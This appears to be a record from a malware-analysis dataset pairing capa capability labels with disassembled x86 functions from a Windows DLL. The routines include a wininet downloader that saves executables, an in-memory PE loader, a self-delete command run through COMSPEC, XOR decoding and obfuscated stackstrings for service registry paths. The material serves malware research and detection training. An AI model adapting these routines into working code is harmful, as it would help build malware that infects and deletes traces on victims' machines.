joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002e2c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d8
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x170
lea eax, [ebp - 0x2d8]
push esi
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
xor ebx, ebx
xor eax, eax
lea edi, [ebp - 0x167]
push 0x59
mov byte [ebp - 0x168], bl
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 2
push ebx
stosb byte es:[edi], al
push 1
lea eax, [ebp - 0x1cc]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10002ea8
lea eax, [ebp + 8]
push ebx
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffe90
add esi, 0x170
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10002eaf
xor eax, eax
jmp 0x10002f35
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x2d0]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x10002eec
lea eax, [ebp - 0x2d0]
push eax
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x168]
push str._s__s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x10002f00
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x2d4]
sub eax, ebx
je 0x10002f22
dec eax
je 0x10002f1f
dec eax
dec eax
jne 0x10002f32
lea eax, [ebp - 0x168]
push eax
call fcn.10002bef
jmp 0x10002f31
push ebx
jmp 0x10002f24
push 5
lea eax, [ebp - 0x168]
push eax
call fcn.10002c39
pop ecx
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10003039
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
push esi
push edi
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x10003106
mov edi, 0x104
xor esi, esi
push edi
lea eax, [ebp - 0x158]
push esi
push eax
call sub.MSVCRT.dll_memset
push esi
push edi
lea eax, [ebp - 0x158]
push esi
push eax
push 1
push esi
push str.Applicationsiexplore.exe_shellopencommand
push connect
call fcn.10006dc5
add esp, 0x2c
test eax, eax
je 0x10003106
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x10003106
lea eax, [ebp - 0x158]
push 0x1000a96c
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
cmp eax, esi
pop ecx
je 0x10003106
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x10
xor eax, eax
cmp dword [ebp + 0xc], esi
pop ecx
lea edi, [ebp - 0x40]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x44], 0x44
je 0x100030df
mov dword [ebp - 0x3c], str.WinSta0Default
jmp 0x100030ea
mov dword [ebp - 0x18], 1
mov word [ebp - 0x14], si
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x44]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x158]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
xor al, al
pop esi
leave
ret
Function at 0x1000310c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
push ebx
push esi
push edi
xor ebx, ebx
push str.wininet.dll
mov dword [ebp - 8], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], 1
mov byte [ebp - 1], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.InternetOpenA
push edi
mov dword [ebp - 0xc], edi
call esi
push ebx
push ebx
push ebx
push ebx
push str.MSIE_6.0
call eax
cmp eax, ebx
mov dword [ebp - 0x10], eax
je 0x1000317a
push str.InternetOpenUrlA
push edi
call esi
push ebx
push connect
push ebx
push ebx
push dword [ebp + 8]
push dword [ebp - 0x10]
call eax
cmp eax, ebx
mov dword [ebp - 0x18], eax
jne 0x1000318c
cmp edi, ebx
je 0x10003185
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x10003244
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x1000321a
mov edi, 0x400
push edi
lea eax, [ebp - 0x41c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.InternetReadFile
push dword [ebp - 0xc]
call esi
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0x41c]
push edi
push ecx
push dword [ebp - 0x18]
call eax
cmp dword [ebp - 0x14], ebx
je 0x100031e9
cmp word [ebp - 0x41c], 0x5a4d
jne 0x1000320b
lea eax, [ebp - 0x1c]
push ebx
push eax
lea eax, [ebp - 0x41c]
push dword [ebp - 8]
mov dword [ebp - 0x14], ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 8], ebx
jbe 0x1000320e
jmp 0x100031ad
mov byte [ebp - 1], bl
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0xc]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.InternetCloseHandle
push edi
call esi
push dword [ebp - 0x18]
mov esi, eax
call esi
push dword [ebp - 0x10]
call esi
cmp edi, ebx
je 0x10003241
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000342e
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0xfb0], ebx
mov dword [esi], 0x10008314
jbe 0x10003465
push edi
lea edi, [esi + 0x10]
push 0xffffffffffffffff
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
add edi, 4
cmp ebx, dword [esi + 0xfb0]
jb 0x10003446
pop edi
mov ecx, esi
call fcn.10003c45
pop esi
pop ebx
ret
Function at 0x100034a5
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Resume thread
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
push ebx
push esi
mov esi, 0x104
push edi
lea eax, [ebp - 0x158]
push esi
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x100035e9
lea eax, [ebp - 0x158]
push esi
push eax
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x100035e9
lea eax, [ebp - 0x360]
push esi
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x100035e9
lea eax, [ebp - 0x25c]
push str.__c_del
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x25c]
push eax
call esi
lea eax, [ebp - 0x25c]
push str.___nul
push eax
call esi
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x360]
push eax
call esi
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0x50]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0xc]
mov dword [ebp - 0x10], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x100
mov dword [ebp - 0x54], 0x44
stosd dword es:[edi], eax
mov dword [ebp - 0x28], 1
mov word [ebp - 0x24], bx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push eax
call edi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push ebx
push ebx
push 0xc
push ebx
push ebx
lea eax, [ebp - 0x360]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x100035d4
push 0x40
push dword [ebp - 0x10]
call esi
push 0xfffffffffffffff1
push dword [ebp - 0xc]
call edi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 1
pop eax
jmp 0x100035eb
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call edi
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10003a8d
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push edi
mov dword [ebp - 0xc], ecx
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x10f]
mov byte [ebp - 0x110], bl
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x110]
mov dword [ebp - 8], ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x110]
push str._._mnbvcxz_lkjhgfdsa__poiuytrewq
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x110]
push 0x1000ac2c
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x110]
push str..key
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x18
lea eax, [ebp - 0x110]
push ebx
push 0x80
push 3
push ebx
push 1
push connect
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x10003b68
push esi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov esi, eax
lea eax, [ebp - 8]
push ebx
push eax
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp edi, ebx
jbe 0x10003b54
xor byte [ebx + esi], 0x62
inc ebx
cmp ebx, edi
jb 0x10003b4b
mov ecx, dword [ebp - 0xc]
push edi
push esi
call fcn.10003a43
push esi
mov ebx, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop ebx
leave
ret
Function at 0x10003cbe
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
cmp word [eax], 0x5a4d
jne 0x10003dcd
mov esi, dword [eax + 0x3c]
add esi, eax
cmp dword [esi], 0x4550
jne 0x10003dcd
mov edi, 0x2000
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push edi
push dword [esi + 0x50]
push dword [esi + 0x34]
call ebx
test eax, eax
mov dword [ebp - 4], eax
jne 0x10003d16
push 4
push edi
push dword [esi + 0x50]
push eax
call ebx
test eax, eax
mov dword [ebp - 4], eax
je 0x10003dcd
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov eax, dword [ebp - 4]
xor ecx, ecx
push 4
push 0x1000
mov dword [edi + 4], eax
mov dword [edi + 0xc], ecx
mov dword [edi + 8], ecx
mov dword [edi + 0x10], ecx
push dword [esi + 0x50]
push eax
call ebx
push 4
push 0x1000
push dword [esi + 0x54]
push dword [ebp - 4]
call ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebx + 0x3c]
add ecx, dword [esi + 0x54]
push ecx
push ebx
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebx + 0x3c]
mov ecx, dword [ebp - 8]
add eax, ecx
mov ecx, dword [ebp - 4]
push edi
push esi
mov dword [edi], eax
push ebx
mov dword [eax + 0x34], ecx
call fcn.10003ddb
mov ebx, dword [ebp - 4]
add esp, 0x18
mov eax, ebx
sub eax, dword [esi + 0x34]
je 0x10003d98
push eax
push edi
call fcn.10003f45
pop ecx
pop ecx
push edi
call fcn.10003fbf
test eax, eax
pop ecx
je 0x10003dc6
push edi
call fcn.10003e88
mov eax, dword [edi]
pop ecx
mov eax, dword [eax + 0x28]
test eax, eax
je 0x10003dd4
add eax, ebx
test eax, eax
je 0x10003dc6
push 0
push 1
pop esi
push esi
push ebx
call eax
test eax, eax
jne 0x10003dd1
push edi
call fcn.100041b4
pop ecx
xor eax, eax
jmp 0x10003dd6
mov dword [edi + 0x10], esi
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10003ddb
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
and dword [ebp - 4], 0
push esi
mov ecx, dword [eax + 4]
mov eax, dword [eax]
mov dword [ebp - 8], ecx
movzx ecx, word [eax + 0x14]
cmp word [eax + 6], 0
lea esi, [ecx + eax + 0x18]
jbe 0x10003e85
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
add esi, 0x10
mov ebx, 0x1000
cmp dword [esi], 0
jne 0x10003e46
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x38]
test eax, eax
mov dword [ebp - 0xc], eax
jle 0x10003e6f
push 4
push ebx
push eax
mov eax, dword [esi - 4]
add eax, dword [ebp - 8]
push eax
call edi
push dword [ebp - 0xc]
mov dword [esi - 8], eax
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
jmp 0x10003e6f
mov eax, dword [esi - 4]
push 4
add eax, dword [ebp - 8]
push ebx
push dword [esi]
push eax
call edi
mov ecx, dword [esi + 4]
push dword [esi]
add ecx, dword [ebp + 8]
mov dword [ebp - 0xc], eax
push ecx
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp - 0xc]
add esp, 0xc
mov dword [esi - 8], eax
mov eax, dword [ebp + 0x10]
inc dword [ebp - 4]
add esi, 0x28
mov eax, dword [eax]
movzx eax, word [eax + 6]
cmp dword [ebp - 4], eax
jl 0x10003e14
pop edi
pop ebx
pop esi
leave
ret
Function at 0x1000422d
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.Ole32.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push str.CoInitialize
push ebx
call esi
push str.CoUninitialize
push ebx
mov dword [ebp - 0x10], eax
call esi
push str.CoCreateInstance
push ebx
mov dword [ebp - 0x24], eax
call esi
push str.Oleaut32.dll
mov dword [ebp - 0x18], eax
call edi
push str.SysFreeString
push eax
mov dword [ebp - 0x14], eax
call esi
xor esi, esi
mov edi, eax
push esi
call dword [ebp - 0x10]
lea eax, [ebp - 0x1c]
mov dword [ebp - 0xc], esi
push eax
push 0x1000837c
push 1
push esi
push 0x1000839c
call dword [ebp - 0x18]
test eax, eax
jne 0x100042b8
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 4]
push esi
push edx
mov ecx, dword [eax]
push 0x1000838c
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x100042bf
xor eax, eax
jmp 0x1000434d
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x20]
push edx
lea edx, [ebp - 8]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x10004330
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x10]
push edx
push 0x100083b0
mov ecx, dword [eax]
push esi
push esi
push eax
call dword [ecx + 0x24]
test eax, eax
jl 0x10004325
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x34]
push esi
mov word [ebp - 0x34], 8
mov ecx, dword [eax]
push edx
push 0x1000b124
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x1000431c
push dword [ebp - 0x2c]
inc dword [ebp - 0xc]
call edi
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x100042c8
call dword [ebp - 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp ebx, esi
je 0x10004340
push ebx
call edi
cmp dword [ebp - 0x14], esi
je 0x1000434a
push dword [ebp - 0x14]
call edi
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10004352
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push dword [ebp - 0x10]
push 0x1000b1a0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
leave
ret
Function at 0x10004378
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push ebx
push edi
push dword [ebp + 0x14]
xor ebx, ebx
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x427]
mov byte [ebp - 0x428], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push dword [ebp + 0x10]
stosb byte es:[edi], al
call sub.MSVCRT.dll_memset
push 0x400
lea eax, [ebp - 0x428]
push ebx
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x28]
mov byte [ebp - 0x28], 0x53
mov byte [ebp - 0x27], 0x59
push eax
lea eax, [ebp - 0x428]
push eax
mov byte [ebp - 0x26], 0x53
mov byte [ebp - 0x25], 0x54
mov byte [ebp - 0x24], 0x45
mov byte [ebp - 0x23], 0x4d
mov byte [ebp - 0x22], 0x5c
mov byte [ebp - 0x21], 0x43
mov byte [ebp - 0x20], 0x75
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x6e
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x43
mov byte [ebp - 0x19], 0x6f
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x53
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x5c
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x76
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x5c
mov byte [ebp - 6], 0x25
mov byte [ebp - 5], 0x73
mov byte [ebp - 4], bl
call dword [sym.imp.USER32.dll_wsprintfA]
push ebx
lea eax, [ebp - 0x428]
push dword [ebp + 0x14]
push ebx
push dword [ebp + 0x10]
push 1
push dword [ebp + 0xc]
push eax
push connect
call fcn.10006dc5
add esp, 0x44
pop edi
pop ebx
leave
ret

Function at 0x10004487
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
and byte [ebp - 4], 0
lea eax, [ebp - 8]
push edi
push eax
push dword [ebp + 8]
mov byte [ebp - 8], 0x48
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x73
mov byte [ebp - 5], 0x74
call fcn.10004378
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x10
push edi
call esi
test eax, eax
jne 0x100044cf
push dword [ebp + 0x10]
push edi
call dword [sym.imp.WS2_32.dll_gethostname]
push edi
call esi
pop edi
pop esi
leave
ret
Function at 0x100044d6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
and byte [ebp - 4], 0
lea eax, [ebp - 0x10]
push edi
push eax
push dword [ebp + 8]
mov byte [ebp - 0x10], 0x43
mov byte [ebp - 0xf], 0x6f
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x63
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x47
mov byte [ebp - 8], 0x72
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x75
mov byte [ebp - 5], 0x70
call fcn.10004378
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x10
push edi
call esi
test eax, eax
jne 0x10004541
push str.Default
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push edi
call esi
pop edi
pop esi
leave
ret
Function at 0x10005111
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
and byte [ebp - 4], 0
lea eax, [ebp - 0x10]
push eax
mov byte [ebp - 0x10], 0x72
mov byte [ebp - 0xf], 0x75
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x64
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x78
mov byte [ebp - 5], 0x65
call fcn.10006c47
test eax, eax
pop ecx
je 0x10005166
push 0
push 0x1000bae8
call dword [sym.imp.KERNEL32.dll_WinExec]
leave
ret
Function at 0x10005168
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x558
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x557]
mov byte [ebp - 0x558], bl
rep stosd dword es:[edi], eax
push dword [ebp + 8]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x44]
mov byte [ebp - 0x44], 0x53
push eax
lea eax, [ebp - 0x558]
push eax
mov byte [ebp - 0x43], 0x59
mov byte [ebp - 0x42], 0x53
mov byte [ebp - 0x41], 0x54
mov byte [ebp - 0x40], 0x45
mov byte [ebp - 0x3f], 0x4d
mov byte [ebp - 0x3e], 0x5c
mov byte [ebp - 0x3d], 0x43
mov byte [ebp - 0x3c], 0x75
mov byte [ebp - 0x3b], 0x72
mov byte [ebp - 0x3a], 0x72
mov byte [ebp - 0x39], 0x65
mov byte [ebp - 0x38], 0x6e
mov byte [ebp - 0x37], 0x74
mov byte [ebp - 0x36], 0x43
mov byte [ebp - 0x35], 0x6f
mov byte [ebp - 0x34], 0x6e
mov byte [ebp - 0x33], 0x74
mov byte [ebp - 0x32], 0x72
mov byte [ebp - 0x31], 0x6f
mov byte [ebp - 0x30], 0x6c
mov byte [ebp - 0x2f], 0x53
mov byte [ebp - 0x2e], 0x65
mov byte [ebp - 0x2d], 0x74
mov byte [ebp - 0x2c], 0x5c
mov byte [ebp - 0x2b], 0x53
mov byte [ebp - 0x2a], 0x65
mov byte [ebp - 0x29], 0x72
mov byte [ebp - 0x28], 0x76
mov byte [ebp - 0x27], 0x69
mov byte [ebp - 0x26], 0x63
mov byte [ebp - 0x25], 0x65
mov byte [ebp - 0x24], 0x73
mov byte [ebp - 0x23], 0x5c
mov byte [ebp - 0x22], 0x25
mov byte [ebp - 0x21], 0x73
mov byte [ebp - 0x20], bl
call esi
add esp, 0xc
lea eax, [ebp - 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x157]
mov byte [ebp - 0x158], bl
mov byte [ebp - 0x1c], 0x25
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x1b], 0x34
mov byte [ebp - 0x1a], 0x64
mov byte [ebp - 0x19], 0x2d
mov byte [ebp - 0x18], 0x25
mov byte [ebp - 0x17], 0x2e
mov byte [ebp - 0x16], 0x32
mov byte [ebp - 0x15], 0x64
mov byte [ebp - 0x14], 0x2d
mov byte [ebp - 0x13], 0x25
mov byte [ebp - 0x12], 0x2e
mov byte [ebp - 0x11], 0x32
mov byte [ebp - 0x10], 0x64
mov byte [ebp - 0xf], bl
movzx eax, word [ebp - 0x4a]
push eax
movzx eax, word [ebp - 0x4c]
push eax
movzx eax, word [ebp - 0x4e]
push eax
movzx eax, word [ebp - 0x52]
push eax
movzx eax, word [ebp - 0x54]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x158]
push eax
call esi
add esp, 0x1c
lea eax, [ebp - 0x158]
mov byte [ebp - 0xc], 0x4d
mov byte [ebp - 0xb], 0x61
push ebx
push eax
mov byte [ebp - 0xa], 0x72
mov byte [ebp - 9], 0x6b
mov byte [ebp - 8], 0x54
mov byte [ebp - 7], 0x69
mov byte [ebp - 6], 0x6d
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], bl
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0xc]
push 1
push eax
lea eax, [ebp - 0x558]
push eax
push connect
call fcn.10007073
add esp, 0x1c
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10005312
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x354
push ebx
push esi
push edi
mov esi, 0x104
xor edi, edi
push esi
lea eax, [ebp - 0x160]
push edi
push eax
mov dword [ebp - 8], esi
call sub.MSVCRT.dll_memset
push 0x2e
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 0x14
cmp eax, edi
je 0x100053d8
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push edi
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100053d8
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x160]
push eax
push edi
push dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
call edi
push dword [ebp - 4]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call ebx
push 0x1f4
lea eax, [ebp - 0x354]
push 0
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x160]
push eax
lea eax, [ebp - 0x354]
push str._s_shellopencommand
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 4]
push eax
push 0xf003f
lea eax, [ebp - 0x354]
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x100053df
xor al, al
jmp 0x1000549f
push esi
lea eax, [ebp - 0x160]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
xor esi, esi
push eax
lea eax, [ebp - 0x160]
push eax
push esi
push dword [ebp - 4]
call edi
push dword [ebp - 4]
call ebx
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea eax, [ebp - 0x160]
push 0x1000a970
push eax
call edi
pop ecx
cmp eax, esi
pop ecx
jne 0x1000545c
lea eax, [ebp - 0x160]
push 0x1000a96c
push eax
call edi
pop ecx
cmp eax, esi
pop ecx
jne 0x1000545c
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x160]
push 0x1000a968
push eax
call edi
push dword [ebp + 8]
lea eax, [ebp - 0x160]
push eax
call edi
jmp 0x10005466
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x10
xor eax, eax
cmp dword [ebp + 0xc], esi
pop ecx
lea edi, [ebp - 0x58]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x5c], 0x44
je 0x10005483
mov dword [ebp - 0x54], str.WinSta0Default
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x5c]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x160]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebx
leave
ret